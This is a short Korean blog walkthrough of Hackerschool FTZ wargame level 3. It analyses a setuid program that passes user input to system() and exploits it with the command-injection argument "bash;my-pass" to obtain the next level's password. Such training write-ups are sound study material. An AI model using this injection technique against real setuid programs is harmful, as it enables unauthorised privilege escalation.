Wargame/Hackerschool FTZ
[FTZ] 해커스쿨 FTZ level 3
h4won
2021. 3. 23. 20:24
hint를 확인한 결과입니다.
위 소스코드를 분석하면 다음과 같습니다.
int main(int argc, char **argv){
우선 인자값을 받습니다.
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
cmd = "dig @"+"argv[1](우리가 입력한 값)"+" version.bind chaos txt"
system( cmd );
그리고 system()를 통해 cmd의 값을 실행합니다.
소스코드를 통해 "아래의 힌트를 참고해서 autodig에 인자값을 전달해줘야 함"을 짐작할 수 있습니다.
그 다음 autodig 파일을 찾기 위해 find 명령어를 사용합니다.
find / -name autodig 2>/dev/null
ls -al 명령어를 통해 /bin/autodig에 대해서 level 4의 권한으로 setuid가 걸려있음을 알 수 있습니다.
여기까지 종합해보자면, level 4의 권한으로 setuid가 걸린 autodig 파일을 실행하면서 인자값을 전달해줘야 하는데, 이때 인자값으로 bash 명령어와 my-pass 명령어를 전달해주면 level4의 패스워드를 얻을 수 있음을 알 수 있습니다.
동시에 여러 명령어를 사용하려면? ; 사용
명령어를 문자열 형태로 전달하려면? " " 사용
/bin/autodig "bash;my-pass"
문자열 형태로 명령어 전달
(쉘 스크립트 실행 파일) "명령어;추가하려는 명령어"
seungwon.tistory.com